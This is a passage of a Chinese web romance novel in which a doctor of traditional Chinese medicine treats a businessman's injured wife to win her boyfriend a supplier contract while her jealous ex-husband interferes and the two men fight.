她大了一点之后,王阿姨告诉她母亲**的原因,她自那时就发誓有机会一定要弄死何宏。
该死的男人不安分,害得自己失去了母亲。
舒星若的眼眶泛红,“我刚查了一下,唐梵的孩子跟许许一样大。如果她的母亲终生瘫痪,她该有多痛心。”
她既是母亲也是女儿,太能体会没有妈妈陪伴的痛苦。
苏容泽说:“柯兴昌平时很疼他们的女儿。”
舒星若喜上眉梢:“太好了,又多了一重保障。”
季知许忽然打来视频:“妈妈,你忙不忙?”
见到季知许的小俊脸,舒星若心情更好了一些,“妈妈这边刚忙完,跟苏叔叔一起吃晚饭呢。”
苏容泽把脸凑了过来,“许许,在家还好吗?”
季知许说:“苏叔叔晚上好。我在家很不好,禾阿姨不让我看她的卷宗。”
提起这个,一旁的林安禾气就来了,她站到季知许身后大叫:“你一个小屁孩看我这些东西,我是个离婚律师,我怕你三观尽毁。我明明是为了你好,你竟然还告状。小心我打你屁股。”
舒星若偷笑,林安禾虽然高智商,但玩不过季知许这个小人精。他太会装可怜了。
林安禾话音刚落,季知许就干号了起来:“苏叔叔,你看,我就说了几句话,她就要打我屁股。我要再多说两句恐怕要凶多吉少了。”
舒星若:“……”
林安禾有点崩溃,“你个小屁孩怎么也学会了绿茶的那一套。”
苏容泽绷不住笑了,“好了,你不要跟小朋友计较了,你挑就挑一份给他看吧。”
舒星若连忙阻止,苏容泽是不知道林安禾处理的案件有多炸裂。
“许许乖,小孩子不能看那些。等我回来,月底我们就去滑雪。”
“那你不要带禾阿姨。”季知许睚眦必报,谁让林安禾那么小气。
林安禾立刻反唇相讥:“切,谁稀罕跟你这小屁孩去滑雪。你到时候摔了屁股蹲别哭,我让你妈把你的丑照全拍下来发给我,你惹我不高兴了我就贴你们幼儿园门口。”
季知许说:“切,我才不怕,你这是侵犯我的肖像权。”
林安禾简直要吐血:“连这个他都知道,星若,他每天在家干嘛呢?”
舒星若笑着说:“你别逗他了。”对季知许说道:“妈妈答应你,滑雪不带禾阿姨。”
挂了电话,舒星若给林安禾转了五万,叮嘱道:【不要加班加得太晚,这是你的精神损失费和元旦出门旅游费。】
林安禾开心的收下,给舒星若回了个爱你的表情包。
苏容泽马上凑过来:“滑雪可以带我吗?”
“许许同意就行。”
苏容泽得意的笑:“他肯定会同意的。”
直到两人吃完饭,苏容泽的电话也没响起来。
舒星若心里总是不踏实,“你要不要去打听一下?”
苏容泽想不到柯兴昌竟然犹豫了这么久,打给宗司辰,“去打听一下柯家那边
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什么情况。”
宗司辰叫苦不迭:“现在柯家被围得像铁桶一样,我们打听不到什么。”
苏容泽蹙眉:“那就继续让我们的人盯着,有人进出立刻汇报。”
“好的,苏总。”
舒星若问:“怎么样了?”
“柯兴昌现在按兵不动,可能还在纠结中,我们先回酒店休息。”
宗司辰早已定好五星级酒店,酒店面对的是深市湾,窗外是一览无余的宽阔海景。只是夜晚,看不到海天一色的美景。
苏容泽将舒星若打横抱起来,低声在她耳边说:“宝贝,先去洗澡,一会我们那个。”
舒星若一阵脸红,这家伙怎么这么饥渴?不过跟他在一起确实很愉悦。
两人各自洗完澡后,舒星若像一颗饱满多汁的水蜜桃,诱得苏容泽喉结连连滚动。
苏容泽对着香香软软的舒星若欲罢不能,亲了上去,越吻越上头,恨不得将她揉进自己的身体里。
他浅笑:“若若,你这个诱人的小妖精。”
“你才是男妲己,天天勾引我。”
苏容泽喘气声变得重起来:“那你说你喜不喜欢?”
舒星若雪白的手臂抱着他的脖子,亲了一口:“喜欢。”
苏容泽更加沉醉,一小时后,即使开着空调的房间里,身上都是大汗淋漓。
又去洗了个澡,沉沉的睡去。
早上他们是被宗司辰的电话吵醒的:“苏总,季宴礼到何家来了。”
苏容泽惊了:“他有没有带什么人一起来?”
宗司辰说:“没有,就他的助理。”
苏容泽不明白了:“那他来干嘛,难道季宴礼会医术?”
舒星若听到季宴礼的名字,努力回想当年给季宴礼治腿的情形,“他不会医术啊,我没教过他。”
他们虽然是同一所大学,但不是一个专业。季宴礼读的是经济系,对中医不可能无师自通。
听到这话苏容泽放下心来,“即使他来了也无济于事,反而激发了唐梵的求生欲。”
“嗯。”
舒星若起床准备洗漱,猛地想起一件事,大叫不妙:“坏了,当年我救季宴礼的时候,每天很压抑,我就写了本治疗日记。记录了我给他治病的全过程。”
第136章 舒星若为什么死心塌地的帮你
苏容泽面色微变,季宴礼这人,行事向来没有底线,“他不会拿着你那本日记去给别的医生吧?”
舒星若眼底掠过一丝冷意,点头道:“极有可能,我们现在就去柯家要回来。”
这简直是把她的脸面和心血踩在脚底下,季宴礼,真是好样的。
两人上了车,苏容泽心中的不安愈发强烈:“季宴礼不一定会给你。”
“那是我的隐私,记录的都是我当年给他治病时的心情和思路。他要是敢给别人,我就去告他侵犯隐私和窃取商业机密。”舒星若的声音不大,却字字清晰,非常的坚定。
苏容泽却不看好,以季宴礼的为人,说不定早就复印了一大堆。即便告他,取证也非常难。
但他没再多说,只是将油门踩得更深了些,无论如何,他都会陪着她。
柯家别墅笼罩在一片压抑的寂静中,两人打着探望唐梵的旗号,被管家带了进去。
一进门,舒星若的目光就如利箭般射向病房角落里的季宴礼,他正与一位头发花白的老者低声交谈,那老者手上赫然捧着一本熟悉的、带点磨损的粉色本子。
正是她当年的日记。
舒星若的怒火几乎要冲上天灵盖,无耻到家了,她深吸一口气,指甲限进手掌中,暂时压下了怒火。
唐梵的病床前,那老者正一页一页地翻着,时不时捻着胡须,一副胸有成竹的模样。
舒星若瞧着他有些面熟,似乎是在哪里见过,但一时半会想不起来。
她不动声色地用手机从一个隐秘的角度拍了张照片,悄悄发给舒延兆:【外公,认识这个人吗?】
病床上的唐梵脸色比昨天更加灰败,仿佛生命的光泽正在被一点点抽走,连呼吸都带着几分沉重,眼神十分暗淡。
舒星若明白,经历了这一夜的等待和疼痛,她的内心必定十分煎熬。
舒星若走上前,自然地为唐梵号了脉,指尖传来的脉象让她心头一沉。
她收回手,朗声对一旁面色凝重的柯兴昌说:“柯总,您太太的情况恶化了,再拖下去,神仙难救。希望您尽早下决断。”
她的声音不大,却像一颗石子投入死水,整个病房的目光都汇聚了过来。
柯兴昌嘴唇动了动,最终还是选择了沉默。
舒星若没再理他,转而看向那位老者,声音冰冷:“老先生,你看的津津有味的这本东西,是我的日记,麻烦你还给我。”
老者一愣,尴尬地扶了扶老花镜,看向季宴礼:“季总,这位小姐说,这是她的日记?”
季宴礼的脸色瞬间变得极其难看,像是被人当众扒了裤子。
舒星若“好心”替他解围:“因为这是我当年给季总治疗时,心中烦闷写下的吐槽日记。里面可能记录了他不爱吃药,每天大骂我,还因为怕疼哭鼻子的事。不信,你可以问问季总,是不是有这么回事?”
“你!”季宴礼气得脸都涨成了猪肝色。
老者手里的日记本顿时变得滚烫,他翻也不是,不翻也不是,一张老脸憋得通红。
未经本人允许,私自翻阅她的东西,传出去很难听。
他还想再医疗界继续混。
没等他们想出说辞,病床上的唐梵突然出了声,她的声音虚弱却异常清晰:“季总当年的情况是不是跟我差不多?”
所有人的目光都转向了她。
舒星若坦然点头:“比你严重,他伤到了神经,并发症也多,我花了一年多时间才把他从轮椅上拉起来。”
这话一出,唐梵原本黯淡无光的眼睛里,瞬间迸射出惊人的亮光,像溺水者抓住了最后的浮木。
“舒医生,麻烦你,给我治疗。”
早上季宴礼拿着这本日记来时,信誓旦旦地声称这是他当年主治医生的治疗笔记。那位老者随后从广府赶来,他翻阅日记后,也认为可以借鉴其中的思路治好她。
柯兴昌当场拍板,“若是治好了,我你两千万。”
唐梵总觉得不对劲,为什么不直接请笔记的主人来?
柯兴昌的解释
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是:“她太贪心,要得太多。”
唐梵问:“她要多少?”
柯兴昌支支吾吾的不肯说,唐梵的内心种下了疑虑的种子。
唐梵的话音落下,季宴礼、老者和柯兴昌的脸色肉眼可见地垮了下去,精彩纷呈,像一盘打翻的调色盘,五颜六色的。
苏容泽站在一旁,眼底浮现若有若无的笑意,暗暗佩服舒星若这强大的心理素质。
舒星若看向柯兴昌,慢悠悠地开口:“那就要看柯总,答不答应我之前提出的条件了。”
“你做梦!”季宴礼心知肚明舒星若所求为何,他猛地转向苏容泽,几乎是咬牙切齿地挤出两个字:“无耻!”
苏容泽回敬他的,是一个云淡风轻的微笑,那笑容里甚至竟然带着悲悯,仿佛在看一个无能狂怒的跳梁小丑。
让季宴礼更加的愤怒,但在人家的地盘,不好发火。
“除了舒医生,”唐梵撑着身子,气息不稳但态度坚决,“都给我出去。”
柯兴昌脸色铁青,急道:“阿梵,你们单独在一起我不放心,我怕她会对你不利。”
唐梵冷笑一声,目光里满是失望与嘲讽:“我都这样了,舒医生还能对我怎么样?倒是你,柯兴昌,你更怕她跟我说些什么吧?”
众人被“请”了出去,柯兴昌的脸黑得能滴出墨来。
他盯着苏容泽,语气尖酸刻薄:“苏总,你这个女朋友可真是好手段,为了帮你,连几千万的医疗费都说不要就不要了。”
苏容泽理了理袖口,语气平和地劝道:“柯总,柯太太是陪您白手起家,同甘共苦过来的。为了眼前的利益,置她的健康于不顾,未免太让人寒心。”
季宴礼被那股无名火烧得理智全无,他死死瞪着苏容泽,声音嘶哑:“你到底给舒星若灌了什么**药,让她这么死心塌地地为你卖命?”
苏容泽终于正眼看向他,唇角勾起弧度,轻声说:“可能是因为我从不像你一样,把她的心意当成垃圾,随意践踏吧。”
第137章 季宴礼看见了草莓印
季宴礼被苏容泽的话怼得胸口发闷,哑口无言。
是啊,六年婚姻期间,他何曾珍惜过?如今连她的医疗笔记,也能被他轻飘飘地当成交易条件。
一旁的柯兴昌一个头两个大,他哭丧着脸:“我的两位祖宗,你们俩的神仙架能不能换个地方打?我这儿庙小,快被你们拆了。我太太已经对我意见大了,我这以后还跟她怎么过?”
他刚收到风,唐梵远在国外的父母和叔伯昨天下午已经在机场了正往回赶。
唐家虽只是中产,但就这么一个宝贝女儿,从小捧在手心养大,如今被人作践成这样,哪能善罢甘休?
他们放话了,这件事要是柯兴昌敢只手遮天,他们就敢让他名誉扫地。尤其是唐父,他退休前是金融专业的教授。
如果他联合万鑫的竞争对手,股价将跌成渣。
苏容泽心里冷笑:活该。连糟糠之妻的健康都能拿来当筹码,天底下哪有既要又要的好事。
他面上却是一派温和,拍了拍柯兴昌的肩,安慰道:“柯总放心,柯太太跟我女朋友回了海市,我会让她好好开解她的。”
柯兴昌听着这话,心里更堵了。他不光担心唐梵和她家里人,他还舍不得季氏给的那块肥肉。
他索性把皮球踢给始作俑者,对着季宴礼一抬下巴:“你去搞定你前妻和苏容泽,别让他们搅黄了我的生意。”
季宴礼深吸一口气,强行压下心头的翻涌,被苏容泽挑起的无名火暂时被理智摁了下去。
他转向苏容泽,眼神里满是坚毅,“苏总,万鑫我志在必得。如果你把星若让出来,我不介意将北方的大客户,江皇科技,转让给你。从此,我们两清。”
此言一出,连柯兴昌都倒吸一口凉气。
江皇科技,那可是跟万鑫体量不相上下的巨头,更重要的是,拿下江皇,就等于敲开了壁垒森严的北方市场。
这是苏容泽的东盛集团布局多年,始终未能啃下的硬骨头。这份筹码,也太重了。
然而,苏容泽连镜片后的睫毛都没颤动一下,薄唇轻启,吐出两个字:“不换。”
他像是听到了什么天大的笑话,嘴角勾起讥讽的弧度:“季总,你是不是搞错了什么?若若不是货物,不是你可以用来交换的筹码。你弄丢了她,还想将她来当买卖做。可不可笑?”
这些年他赚的钱,足够他和舒星若富足安稳地过几辈子。
为了一个客户就出卖自己的感情和伴侣,这种事,只有季宴礼才做得出来。
季宴礼眼眶泛红,最后一丝冷静也被剥离,他上前一步,声音里带上了压抑的嘶吼:“你究竟要怎样才肯放她回我身边?”
“我永不放手。”苏容泽迎上他的目光,字字清晰,“只要她点头,下一秒,她就是苏太太。”
“苏太太”三个字像三根钢针,狠狠扎进季宴礼的心脏。他气到心梗,拳头捏得咯咯作响,要不是柯兴昌眼疾手快地横在中间,他今天非要让苏容泽这张戴着金丝眼镜的斯文败类脸挂点彩。
最让他理智崩盘的,是视线不经意扫过苏容泽的脖颈时,衬衫领口下,几块暧昧的红色印记若隐若现。
草莓印?
是舒星若留下的吗?
他们到了哪一步?这个念头如同一条毒蛇,疯狂啃噬着他的五脏六腑,疼得他几乎站不稳。
众人离开后,病房里终于恢复了安静。
唐梵盯着天花板,哑声问舒星若:“你到底朝柯兴昌要了多少钱?”
舒星若淡淡道:“分文不取。我的条件是,万鑫的新产品线,供应商里不能剔除东盛。另外,柯总需要包机送您到海市,在我家安心疗养四个月,我保您能重新站起来,正常走路。”
“就这?”唐梵愣住了,随即一股滔**火从心底烧起,烧得她眼眶发红。就这么简单的条件,那个她爱到骨子里的男人竟然还犹豫不决,完全不顾她身上的疼痛,还在权衡利弊。
她要不是现在动弹不得,会立
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刻冲出去,亲手撕了柯兴昌那张虚伪的脸。
唐梵的眼神瞬间冷得像冰:“你现在就安排包机带我去海市,钱我来出。万鑫是我和他白手起家一起创办的,我名下也有股份,还轮不到他一个人说了算。”
舒星若见她如此果决,心中也生出几分敬佩,不忍她再受苦。
她打开药箱,取出银针,并未直接处理唐梵受伤的脊椎,而是在她的四肢远端穴位施针。
“急则治标,缓则治本。你现在气血大乱,经络不通,我先帮你安定神志,调和气血。”她在唐梵的百会、内关、足三里等大穴上施针,留针的同时她写了一个方子。
她拿着方子说道:“深市我不熟,唐姐,你能安排人去抓药煎药吗?”
唐梵气得发笑:“柯兴昌那个王八蛋,怕我跟外界联系,把我的手机都收走了。我助理的号码我记不住,还得麻烦你自己想办法。”
“没事,小问题。”舒星若安抚地拍了拍她的手,“我叫人去办。”东盛在深市有分公司,这点小事不难。
她拿出手机,飞快地将药方拍照发给苏容泽,配了几个字:【找人代煎,马上准备包机会海市。】
病房外,苏容泽的手机“叮”地一声亮起。他看到消息立刻将药方和舒星若的消息转发给宗司辰。
奇妙的事情发生了,随着银针留针半小时,一股温润的热流从四肢百骸缓缓升起,唐梵只觉得那股折磨了她许久的剧痛,竟像是潮水般退去。
她整个人都松弛下来,没过多久,便沉沉睡了过去。
舒星若静静守在床边,没让外面那几个男人进来打扰。
不到一个小时,药煎好了。宗司辰亲自送了过来,跟他一同抵达的,还有几个气势汹汹的男女,有老年的有中年的。
为首的男人面容与唐梵有几分相似,眼神锐利如鹰,一进门就沉声喝道:“柯兴昌,你小子好样的,竟敢耽误我姑娘的治疗。”
唐梵的娘家人,到了。
第138章 都怪季宴礼
柯兴昌面如死灰,冷汗顺着鬓角滑落,浸湿了昂贵衬衫的衣领:“爸,您误会了,我怎么可能耽误阿梵的救治?您看,药不是都送过来了。”
他像是抓住救命稻草,指了指一旁拿着中药汤剂的宗司辰。
苏容泽镜片后的眼睛闪过转瞬即逝的嘲讽,面上却依旧是和事佬的模样,温声附和:“唐先生,柯总确实已经在积极为柯太太联系治疗了。他这边也已经联系了包机,会尽快转去海市,由资深中医治疗。”
包机?柯兴昌心里咯噔一下,最后一丝侥幸也熄灭了。
这阵仗,摆明了是舒星若已经跟唐梵达成协议了,他跟季氏那个合作项目,怕是彻底凉了。
他感觉自己的心肝脾肺肾都在抽痛,那可是他们公司跻身高端产品的敲门砖啊!
唐父唐倪勇,这位在学术界颇具威望的老教授,此刻却像一头护崽的雄狮。他那双看透人心的眼睛,将柯兴昌从头到脚细细刮了一遍,眼神比手术刀还冷。
“最好是这样。”唐倪勇的声音不大,却字字如冰锥,“别让我在背后发现你搞什么见不得人的小动作。”
柯兴昌刚想领着岳父一家进去,唐倪勇却猛地一转身,像一堵墙似的挡在他面前,沉声道:“你就在外面给我好好待着,我们进去,跟我姑娘说几句话。”
“爸……”柯兴昌的笑容僵在脸上。
“滚。”唐倪勇只吐出一个字。
柯兴昌被那股迫人的气势震得后退半步,只能眼睁睁看着病房门在自己面前合上,将他隔绝在外。
他颓然地靠在墙上,感觉自己像个等待审判的囚犯。
病房内,气氛一片祥和。唐梵在熟睡,舒星若正在埋头制定她的治疗计划。
唐倪勇他们一进去,宗司辰就立刻轻声为他们介绍:“唐先生、唐太太,这位是柯太太的主治医生,舒星若。舒医生是国内顶尖的中医,当年季氏集团总裁出车祸后,都说要瘫痪了,就是舒医生给治好的。”
这话一出,唐家人的眼神立刻多了几分信赖与希望。
唐梵的母亲冯静,脸上满是泪痕。她看着病床上沉睡的女儿,脸色苍白得像纸,心疼得无以复加。
她走近,颤抖着握住舒星若的手,声音哽咽:“舒医生,我女儿她现在到底怎么样了?”
“腰椎粉碎性骨折。”舒星若的语气专业而冷静,“万幸中的万幸,没有伤到神经,后续恢复得当,不会影响正常行走。我有把握治好她,但得跟我回海市。”
她看着冯静,补充道:“唐妈妈,您要是不放心,可以跟我们一起回海市,全程陪着唐姐康复。”
冯静连连点头,泪水却流得更凶了:“好好,等梵梵醒过来,我听她的,都听她的。”
或许是听到了母亲的声音,唐梵长长的睫毛颤动了几下,在沉睡了足足两个小时后,终于缓缓睁开了眼睛。
当她看清围在床边的父母和叔伯时,眼睛里先是迷茫,随即涌上的,是滔天的委屈与愤怒,眼泪瞬间如断了线的珠子,滚滚而下。
宗司辰极有眼色,立刻悄无声息地退了出去,找到门外的柯兴昌,压低声音道:“柯太太醒了,你表现的机会来了,自己把握住。”
病房内,唐梵虚弱的声音响起:“爸、妈,柯兴昌那个王八蛋,他为了跟季氏的合作,竟然耽误我的治疗!不是舒医生来得及时,我还继续疼着。”
“什么?”唐倪勇猛地从沙发上弹了起来,气得浑身发抖,平日里儒雅的学者风度荡然无存,“我就知道那小子不是个好东西!**,老子这就让他知道怠慢我女儿的代价。”
说着他掏出手机,直接拉了个微信群,把几个得意门生都拉了进来。这些人都是金融圈呼风唤雨的大佬。
唐倪勇正准备发消息,柯兴昌推门而入,“扑通”一声,直挺挺地跪在了唐梵床前。
他声泪俱下,演技堪比影帝:“老婆,我错了,我真的错了!我是一时糊涂,被猪油蒙了心!都怪那个季宴礼,是他跟我说有两全其美的办法,能让你治好病,公司也不受影响,我不该信他的鬼话。”
他哭得上气不接下气,指天画地地发誓:“我已经安排好了包机,我们立刻就出发去海市,你治疗期间,我寸步不离地陪着你,公司我都不管了。不信你问舒医生,我刚才是不是一直在安排包机的事?”
他朝舒星若使眼色,眼神里的祈求和威
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胁混杂在一起。
舒星若最烦这种男人,一个白眼差点翻到天上去。但想到苏容泽,还是压下恶心,从鼻子里哼出一声,算是回答。
但愿柯兴昌这狗东西能说到做到。
唐梵毕竟还深爱着这个男人,见连舒星若都替他作证,心里的防线顿时松动了些,声音也柔和了下来:“以后你不要再鬼迷心窍了。快,把我的手机给我。”
柯兴昌面露难色:“老婆,你的手机从崖上掉下去,摔得稀巴烂了。我怕你里面有很多重要资料,已经找了最好的技术员在恢复数据,说最快也要今天晚上才能弄好。”
这倒没有撒谎,手机确实送修了。
唐梵皱起眉:“那我助理沈媛媛呢?让她把备用机送过来。”
“沈媛媛她,”柯兴昌艰难的说道,“警方初步调查,你坠崖可能不是意外,她有重大嫌疑,已经被批捕了。”
这个消息如同一记重锤,狠狠砸在唐梵心上。“她……她怎么会害我?”
唐梵的脸瞬间血色尽失。
助理沈媛媛跟了她三年,一直对她忠心耿耿,体贴入微,怎么会突然要置她于死地?她感到一阵天旋地转,沉重地闭上了眼睛。
“唐姐!”舒星若立刻上前,轻轻按住她的手腕,沉声道:“别想这些了,现在你最重要的事情就是养好身体。肝气郁结,只会加重病情,对骨骼愈合没有半点好处。”
冯静也柔声安慰:“是啊梵梵,乖,听医生的话。妈陪你去海市治病,好不好?”
唐梵沉默了许久,再睁开眼时,目光里多了几分清冷和决绝。
她摇了摇头:“不用了,爸妈,你们和叔叔伯伯回国外继续自己的生活,这边有舒医生,我相信她。我想带上晴晴。”
晴晴是她和柯兴昌的女儿,柯依晴。
柯兴昌一听,忙不迭地站起来:“我马上就去安排,给晴晴转学到海市最好的国际幼儿园!”
他俯下身,用最深情的目光望着唐梵,声音温柔得能掐出水来,“老婆,需要我陪你一起去海市吗?”
唐梵静静地看着他,没有点头,也没有摇头。那双曾盛满爱意的眼眸,此刻却像一潭深水,让他看不见底。
第139章 两个男人打起来了
柯兴昌紧张得吞了吞口水,喉咙干得像是被砂纸磨过。
他看着病床上虽然虚弱但眼神却异常坚定的妻子,心里像打鼓,咚咚咚的响个不停。
半晌之后,唐梵才缓缓开口,每一个字都像是一把小锤子,敲在他紧绷的神经上:“你留在深市,跟东盛集团把供应合同签了。我和舒医生先去海市,等我消息,再来看我。”
柯兴昌眼前一阵发黑,最后一丝侥幸也荡然无存。他们果然已经达成了协议,万鑫的产品升级无望。得,一切都是天意。
他用尽全身力气,才从喉咙里挤出一个字:“好。”
与此同时,舒星若悄悄给苏容泽发去微信:【成了,等着签合同吧。】
苏容泽看到屏幕上跳出的字,嘴角抑制不住地上扬。
他由衷地感激她,顺手回了个“大佬牛逼”的动态表情包。
紧接着,他像是刚得了新玩具的孩子,故意把手机屏幕在季宴礼眼前晃了晃,语气里的炫耀几乎要溢出来:“季总,看到了吗?这一回,你又白费心机了。”
季宴礼的眼神瞬间阴沉得能滴出水来,他真想一巴掌扇烂苏容泽那张得意洋洋的脸。
奈何这里是柯家,他不能在外面丢人,恶狠狠的从牙缝里挤出几个字:“下次你就没这么走运了。”
“有没有下次不好说,”苏容泽收起手机,抱起双臂,悠闲地欣赏着季宴礼的铁青脸色,慢悠悠地补了一刀,“不过有件事我得提醒你,就算没有我,若若也迟早会离开你的。”
这句话像一根烧红的铁钎,狠狠捅进了季宴礼的心窝。
他再也无法维持表面的风度,压抑着怒火低吼道:“混蛋!”
“别激动嘛,季总。”苏容泽反而笑了,笑容里满是嘲讽,“我再混蛋,也比你婚内出轨强点吧?”
句句扎心,字字诛心。
季宴礼的拳头在身侧捏得咯吱作响,他在心里发誓,总有一天,他非要弄死苏容泽不可。
他强迫自己冷静下来,没有立刻甩手走人,因为他要等舒星若出来。他始终不信她会心甘情愿帮苏容泽,她一定是有什么把柄落在了这个混蛋手上。
病房这边,柯家的佣人已经将柯依晴带了过来。
小姑娘生着一张可爱的圆脸蛋,一双乌黑的大眼睛此刻却红肿得像两颗核桃,显然是偷偷哭了很久。
她小跑到唐梵病床前,看到母亲的脸色似乎比之前好了些,带着哭腔的小奶音里满是期盼:“妈妈,你是不是有救了?”
唐梵看着女儿,心都要化了。
她努力挤出一个苍白的笑容,点了点头:“嗯,这位舒医生会带妈妈去海市治病,大概要四个月。妈妈想带晴晴一起去,好不好?”
“好!妈妈去哪儿我就去哪儿,我陪你!”柯依晴用力点头,生怕妈妈会丢下她。
舒星若温柔地摸了摸小女孩的头,随即转身,有条不紊地吩咐护工:“准备转移病人,动作轻一点。不能让唐姐二次受伤。”
护工们立刻上前,小心翼翼地将唐梵转移到担架床上,朝着外面早已等候的救护车推去。
舒星若刚一走出病房门,一道黑影就猛地冲到她面前,季宴礼一把抓住了她的手腕。
还不等他开口,另一只手更快地挥了过来,苏容泽“啪”的一声打掉他的手,顺势将舒星若护在身后,厉声质问:“季总,大庭广众之下,对我女朋友拉拉扯扯,不合适吧?”
季宴礼的目光死死锁在舒星若脸上,手腕被打得生疼也毫不在意,他冷声问道:“你为什么要这样帮他?甚至不惜拿病人当筹码,这还是你吗?”
舒星若抬起眼,毫无波澜的眼神对上他偏执的视线。
她的脸上没有任何表情,语气平淡的说着:“因为我爱他。”
简简单单的四个字,却像一柄无形的重锤,瞬间将季宴礼的心砸得粉碎。
他从她眼中看不到任何犹豫和被迫,只有坦然和决绝。那一刻他才真正明白,她不是在演戏,她是真的,确确实实地爱上了苏容泽。
舒星若说完,便不再看他,转身大步追上唐梵的担架床。
在她身后,季宴礼失魂落魄地站在原地,对着她的背影,用只有自己能听见的声音,固执地低语:“就算爱上了,我也不放手。我一定让你回到我的身边。”
苏容泽见他的样子不免觉得可笑,嘲讽道:“只有在失去的时候才知道珍惜,晚了。”
季宴礼再也
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抑制不住心中的怒火,一拳朝苏容泽俊美的脸蛋挥过去。苏容泽结结实实的挨了一记冷拳,他也惯着他,挥拳向季宴礼砸过去。
两个大男人水灵灵的在人家家里打起来了。
柯兴昌正在外面送唐梵,听到佣人过来说他们打起来,柯兴昌烦透了。
“两个神经病,为了一个女人当众打架。不用管,最好打死一个。”
他们打了一会,终于在各自助理的阻止下,终止了这场打斗。
两人脸上都挂了彩,季宴礼脸上虽然疼,但是心里好受多了。
苏容泽潇洒的离开,出来找柯兴昌签合同。
救护车的门“砰”地关上,隔绝了外面的一切。
唐家的老两口站在车外,老泪纵横。冯静捂着嘴,含泪叮嘱:“梵梵,你一定要好起来。不然妈妈会活不成的。”
车内的唐梵也忍不住掉眼泪,她之所以不让父母跟着,就是怕他们看到自己治疗时痛苦的样子会更难受。
等她彻底痊愈了,她一定立刻去找他们。
舒星若带着柯依晴和护工随车,直奔机场。
她将哭得一抽一抽的柯依晴抱在怀里,心疼地轻抚着小女孩的背,低声安慰:“晴晴放心,阿姨向你保证,一定会治好你妈妈。”
柯依晴抬起泪汪汪的大眼睛,不敢相信地问:“真的吗?”
“真的。”舒星若的语气无比肯定,“到了海市,你们就住在阿姨家里,阿姨每天都亲自给你妈妈做治疗。而且,阿姨家还有一个跟你差不多大的小哥哥,可以陪你玩。”
柯依晴的情绪总算稳定了些,她把头埋在舒星若怀里,闷闷地说:“嗯,只要妈妈能好起来,我就开心了。”
病床上的唐梵听着女儿和舒星若的对话,泪水再次汹涌而出,她哽咽着说:“晴晴,就算是为了你,妈妈也会拼了命好起来的。”
车厢内的气氛温馨而伤感,就在这时,舒星若的手机不合时宜的响了起来。
是舒延兆打来的。
她接起电话,听筒里立刻传来舒延兆带着惊疑的声音:“若若,你怎么会认识王展鹏的?那老东西可不是什么好人。”
王展鹏,就是早上舒星若发给外公的那个老者。
第140章 苏容泽受伤严重
舒星若不明白外公的话是什么意思,皱眉问道:“他哪方面不算好人?”
舒延兆的声音带着凝重:“他心术不正,跟姜学名是一路货色,你千万要小心。对了,好端端的,你是怎么遇上他的?”
舒星若轻声道:“外公,我现在身边有病人,不方便多说,等我有空了再给您打过去。”
舒延兆再次叮嘱道:“总之,千万要当心那个王展鹏。”
“好,我知道了。”
挂了电话,唐梵敏锐地察觉到她声音里的紧张,“是早上那个老中医有问题?”
舒星若握住她冰凉的手,她手中的温暖传递过去,声音一如既往地柔和:“你放心,有我在,不会让任何别有用心的人伤害你。你先睡一会,养养精神,到了机场我叫你。”
唐梵不知为何,只要听见舒星若的声音,心里病重的焦躁总能被抚平。她轻轻嗯了一声,合上眼睛闭目养神。
舒星若贴心地拿出手机调成静音,生怕吵到她休息,以至于季宴礼发来的微信她并没看见。
今天运气不错,一路畅通无阻,很快就到达了公务机楼。
机组人员早已在专属车库严阵以待,一见车到。立刻上前,配合着护工小心翼翼地将唐梵送上了中型公务机。
宽敞的机舱内设施齐全,几乎是个小型的空中医疗室。安顿好唐梵之后,机长接到塔台命令,准备起飞。
舒星若拿出手机,打算开启飞行模式,指尖刚触到屏幕,就看到了季宴礼发来的那条微信。
点开,是一张照片。
照片里,苏容泽俊朗的脸上挂了彩,嘴角青紫,眼角也破了,额发凌乱地垂下,遮住了眼里的神色。
拍摄角度极为刁钻,像是偷拍,将伤势拍出了重伤垂危的效果。
照片是言永飞偷拍发给季宴礼的,季宴礼当即发给了舒星若。
可这无声的炫耀,比任何挑衅的言语都更让她心疼。苏容泽那个光风霁月的美男子怎么会伤成这样?
嗡的一声,舒星若感觉自己的血液瞬间冲上了头顶,又在下一秒冻结成冰。
手机仿佛有千斤重,要从她颤抖的手中滑落。
苏容泽的伤是季宴礼打的?他现在人怎么样了?
一连串的问题在她脑子里炸开,她下意识就想给苏容泽打电话,指尖却抖得连拨号键都按不准。
“舒小姐,请您打开飞行模式,我们的飞机马上要起飞了。”空乘人员温柔且专业声音在耳边响起。
舒星若抬起头,脸色苍白得没有一丝血色,无奈地点了点头,手指机械地划过屏幕。
飞机开始在跑道上滑行,逐渐加速,巨大的推背感将她死死按在座椅上,可她的心却像是被一只无形的手揪住,沉甸甸地往下坠。
痛得有点窒息。
“舒阿姨,你怎么在发抖?”身旁的柯依晴歪着头,清澈的眼睛里满是担忧。
“有吗?”舒星若勉强挤出一个笑容,伸手摸了摸自己的脸颊,冰凉一片。
她这才发觉,自己竟然为苏容泽担忧到了这个地步,那份紧张和后怕,是如此真实,如此深刻。
她打开一瓶水,拧瓶盖的手都用了两次力,喝了几口,才强行让自己冷静下来。
飞机穿过云层,窗外是**无垠的蓝天和棉花糖般的云海,景色壮丽,她却无心欣赏。满脑子都是苏容泽那张受伤的脸。
“快点到海市吧。”她在心里默念。
每一分每一秒都像被无限拉长,度秒如年的两小时航程后,飞机终于平稳降落在海市机场。起落架接触地面的轻微颠簸,将舒星若从焦灼的等待中震醒。
安全带指示灯熄灭的瞬间她解开了束缚,关掉飞行模式,飞快地拨出那个烂熟于心的号码。
听筒里传来单调的“嘟、嘟……”声,一声声,都像是敲在她悬着的心上。
无人接听。
她的心,随着持续的忙音,一点点沉入万丈深渊。
他到底怎么了,是不是伤得很重?
她不死心,又打给宗司辰,结果依然是无人接听。这下,舒星若彻底慌了神,眼前阵阵发黑,身子一软,差点栽倒在过道上。
“小心!”一旁的空姐眼疾手快地扶住了她。
“谢谢。”舒星若轻声道了谢,扶着座椅靠背站稳,跟着护工们下了飞机。
舷梯下,东盛集团安排的救护车早已等候。舒星若带着柯依晴,一路紧随在唐梵身边,直到车辆驶回家中。
苏容泽安排得很妥当,一楼最大的一间朝阳客房,已经被改造成了设施齐全的专业病房。
隔壁的小房间,赫然变成了一个小型的中药房,一排排整齐的药柜散发着淡淡的药香,里面分门别类地装满了各种药材,几乎囊括了她之前为唐梵开列的药方里所有药材,甚至还有许多备用的珍稀药材。
最显眼的,是病房角落里那台崭新的电动轮椅。
那是她随口跟苏容泽提过一句的,说唐梵后续康复需要,没想到他不仅记住了,还准备得如此妥帖。
